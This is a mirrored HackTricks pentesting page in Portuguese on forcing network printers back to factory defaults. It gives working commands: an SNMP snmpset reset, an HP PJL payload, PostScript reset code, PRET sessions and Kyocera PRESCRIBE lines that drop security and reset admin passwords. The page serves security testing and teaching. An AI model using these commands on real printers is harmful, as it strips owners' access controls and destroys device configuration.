mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 19:13:39 +00:00
74 lines
6.4 KiB
Markdown
74 lines
6.4 KiB
Markdown
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|
|
**Redefinir** um dispositivo para os padrões de fábrica é uma funcionalidade crítica de segurança, pois **sobrescreve mecanismos de proteção** como senhas definidas pelo usuário. Isso geralmente pode ser feito pressionando uma **combinação de teclas especiais** no **painel de controle** da impressora. Realizar uma redefinição fria leva apenas alguns segundos e, portanto, é um cenário realista para atacantes locais ou testadores de penetração, que podem, por exemplo, se infiltrar na sala de cópia na hora do almoço. No entanto, **o acesso físico** ao dispositivo nem sempre é uma opção.
|
|
|
|
### SNMP
|
|
|
|
O Printer-MIB define o objeto **prtGeneralReset** (**OID 1.3.6.1.2.1.43.5.1.1.3.1**) que permite a um atacante reiniciar o dispositivo (powerCycleReset(4)), redefinir as configurações NVRAM (resetToNVRAM(5)) ou restaurar os padrões de fábrica (resetToFactoryDefaults(6)) usando SNMP. Esse recurso/ataque é **suportado por uma grande variedade de impressoras** e remove todos os mecanismos de proteção, como senhas definidas pelo usuário para o servidor web incorporado. Embora os mecanismos de proteção possam ser eficientemente contornados, uma desvantagem prática dessa abordagem é que toda a **configuração de endereço IP estático será perdida**. **Se nenhum serviço DHCP** estiver disponível, o atacante **não** poderá **se reconectar** ao dispositivo após redefini-lo para os padrões de fábrica.
|
|
|
|
**Redefinir o dispositivo para os padrões de fábrica** pode ser realizado usando o comando `snmpset`, conforme mostrado abaixo (você precisa saber a **cadeia de comunidade**, que por padrão na maioria dos casos é `public`):
|
|
```bash
|
|
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
|
|
```
|
|
### [PML](./#pml)/[PJL](./#pjl)
|
|
|
|
Em muitos cenários, um atacante não tem a capacidade de realizar solicitações SNMP devido a firewalls ou strings de comunidade SNMP desconhecidas. No entanto, em dispositivos **HP**, o **SNMP** pode ser transformado em sua representação **PML** e incorporado à uma tarefa de impressão legítima. Isso permite que um atacante **reinicie e/ou restaure o dispositivo** para os padrões de fábrica dentro de tarefas de impressão comuns, como mostrado abaixo:
|
|
```bash
|
|
@PJL DMCMD ASCIIHEX="040006020501010301040106"
|
|
```
|
|
Qualquer pessoa pode reproduzir esse ataque em impressoras HP, reiniciando ou resetando o dispositivo pode ser facilmente reproduzido usando o [**PRET**](https://github.com/RUB-NDS/PRET):
|
|
```bash
|
|
./pret.py -q printer pjl
|
|
Connection to printer established
|
|
|
|
Welcome to the pret shell. Type help or ? to list commands.
|
|
printer:/> reset
|
|
printer:/> restart
|
|
```
|
|
### PostScript
|
|
|
|
O PostScript oferece um recurso semelhante: o parâmetro do sistema **FactoryDefaults**, "uma bandeira que, se **definida como verdadeira** **imediatamente antes** da **impressora ser desligada**, faz com que todos os parâmetros não voláteis voltem aos seus valores **padrão de fábrica** na próxima inicialização". Deve-se notar que o **PostScript** em si também tem a capacidade de **reiniciar** seu **ambiente**, mas requer uma **senha válida**. \
|
|
No entanto, o interpretador PostScript pode ser colocado em um **loop infinito**, como discutido em ataques de negação de serviço (DoS) de [processamento de documentos](http://hacking-printers.net/wiki/index.php/Document\_processing), o que força o usuário a **reiniciar manualmente** o dispositivo e, assim, redefinir a senha do PostScript.
|
|
|
|
Redefinir os parâmetros do sistema PostScript para os padrões de fábrica:
|
|
```bash
|
|
<< /FactoryDefaults true >> setsystemparams
|
|
```
|
|
Reinicie o interpretador PostScript e a memória virtual:
|
|
```bash
|
|
true 0 startjob systemdict /quit get exec
|
|
```
|
|
Qualquer pessoa pode reiniciar ou redefinir o interpretador PostScript de uma impressora **facilmente reproduzível usando** [**PRET**](https://github.com/RUB-NDS/PRET):
|
|
```bash
|
|
./pret.py -q printer ps
|
|
Connection to printer established
|
|
|
|
Welcome to the pret shell. Type help or ? to list commands.
|
|
printer:/> reset
|
|
printer:/> restart
|
|
```
|
|
### PRESCRIBE
|
|
|
|
Para dispositivos **Kyocera**, as linguagens de descrição de página **PRESCRIBE** podem ser usadas para **redefinir o dispositivo** para o padrão de fábrica a partir de trabalhos de impressão comuns usando um dos comandos mostrados abaixo:
|
|
```bash
|
|
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
|
|
!R! ACNT "REST"; CMMT "Reset account code admin password";
|
|
!R! EGRE; CMMT "Reset the engine board to factory defaults";
|
|
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
|
|
```
|
|
Para reproduzir este ataque, abra uma conexão de rede bruta para a porta 9100/tcp da impressora e **envie os comandos documentados acima**.
|